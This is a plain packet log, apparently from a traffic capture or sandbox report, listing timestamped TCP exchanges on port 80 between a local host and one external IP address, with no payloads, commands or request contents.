Dec 20, 2024 16:53:29.446115017 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.454351902 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.454488039 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.454492092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.462691069 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.462769032 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.462790012 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.471064091 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.471112967 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.471337080 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.479480028 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.479554892 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.479602098 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.487826109 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.487880945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.487920046 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.496193886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.496402025 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.535063982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.577996969 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.607198000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.608186007 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.608371019 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.609795094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.609904051 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.610893011 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.615299940 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.617268085 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.617325068 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.617786884 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.622718096 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.622817039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.622853041 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.627835035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.627893925 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.627932072 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.632785082 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.632890940 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.637100935 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.637727976 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.637933969 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.640944958 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.642673969 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.642770052 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.642806053 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.647757053 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.647795916 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.647805929 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.652863979 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.652909040 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.652966022 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.657843113 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.657918930 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.657960892 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.662780046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.662830114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.662846088 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.667551041 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.667608023 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.667612076 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.672575951 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.672652960 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.672692060 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.677429914 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.677567959 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.677622080 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.682457924 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.682478905 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.682538033 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.687350988 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.687438011 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.687473059 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.692321062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.692397118 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.692451000 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.697261095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.697319031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.697340965 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.702164888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.702529907 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.802099943 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.802191019 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.802421093 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.804096937 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.804213047 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.804282904 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.808237076 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.808317900 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.808450937 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.812371016 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.812511921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.812597036 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.816250086 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.816344023 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.816472054 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.820074081 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.820164919 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.820256948 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.823787928 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.823822021 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.824671030 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.827441931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.827569008 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.827614069 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.831085920 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.831185102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.831244946 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.834629059 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.834722996 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.835067034 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.838164091 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.838361979 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.838547945 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.841670036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.841928959 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.842004061 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.845197916 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.845276117 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.845347881 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.848694086 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.848782063 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.848838091 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.852267027 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.852334976 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.852397919 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.855837107 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.855870962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.856040001 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.859370947 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.859416962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.859510899 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.862802029 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.862857103 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.862935066 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.866322041 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.866389036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.866451025 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.869863987 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.869915009 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.869983912 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.873351097 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.873487949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.873591900 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.876885891 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.877010107 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.877290964 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.880445957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.880534887 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.880685091 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.883935928 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.883989096 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.884046078 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.887481928 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.887723923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.887783051 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.890969992 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.891047955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.891124010 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.994364977 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.994461060 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.994755983 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.995673895 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.995836973 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.995893955 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.998564005 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.998676062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.998904943 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.001368046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.001493931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.001677990 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.004226923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.004352093 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.004407883 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.007031918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.007091999 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.007185936 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.009696007 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.009820938 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.010612011 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.012334108 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.012485981 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.012543917 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.015012026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.015141964 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.015357018 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.017790079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.018003941 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.018063068 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.020138025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.020298958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.020361900 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.022676945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.022813082 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.022876024 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.025299072 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.025461912 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.025527000 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.027818918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.027882099 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.028095961 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.030368090 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.030508041 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.030636072 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.032900095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.033042908 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.033274889 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.035423994 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.035538912 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.035753965 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.038073063 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.038211107 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.038361073 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.040440083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.040616035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.040766001 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.042984962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.043087006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.043145895 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.045567989 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.045648098 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.045705080 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.048115015 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.048206091 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.048265934 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.050609112 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.050714016 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.050765991 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.053212881 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.053327084 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.053381920 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.055735111 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.055799961 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.055855036 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.058214903 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.058373928 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.058435917 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.060785055 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.061002970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.061065912 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.063355923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.063406944 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.063458920 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.066432953 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.066473007 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.066526890 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.068627119 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.069190979 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.069242001 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.071558952 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.071728945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.071782112 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.073808908 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.073846102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.073920965 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.076237917 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.076406002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.076469898 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.078830004 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.079005957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.079066038 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.081355095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.081404924 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.081470013 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.084261894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.084280968 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.084389925 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.086468935 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.086483002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.086534977 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.089050055 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.089215040 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.089464903 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.091439962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.091753006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.092080116 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.094245911 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.094297886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.094429970 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.096467018 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.096553087 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.096611977 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.099001884 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.099081039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.099282026 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.101625919 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.101722002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.101893902 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.104055882 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.104140043 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.104619026 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.186460972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.186630011 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.186697960 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.187438011 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.187798977 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.187836885 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.187861919 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.189032078 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.189111948 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.189145088 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.191103935 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.191183090 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.191221952 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.193188906 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.193245888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.193267107 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.195261002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.195328951 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.195353985 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.197319031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.197392941 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.197458029 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.199352980 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.199417114 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.199443102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.201363087 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.201474905 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.201478958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.203310013 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.203433037 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.203464031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.205276012 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.205395937 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.205430031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.207402945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.207461119 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.207525969 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.209090948 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.209176064 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.209192038 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.211007118 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.211046934 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.211121082 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.212794065 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.212909937 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.212924957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.214575052 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.214637995 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.214714050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.216386080 CET	80	49739	185.215.113.16	192.168.2.5
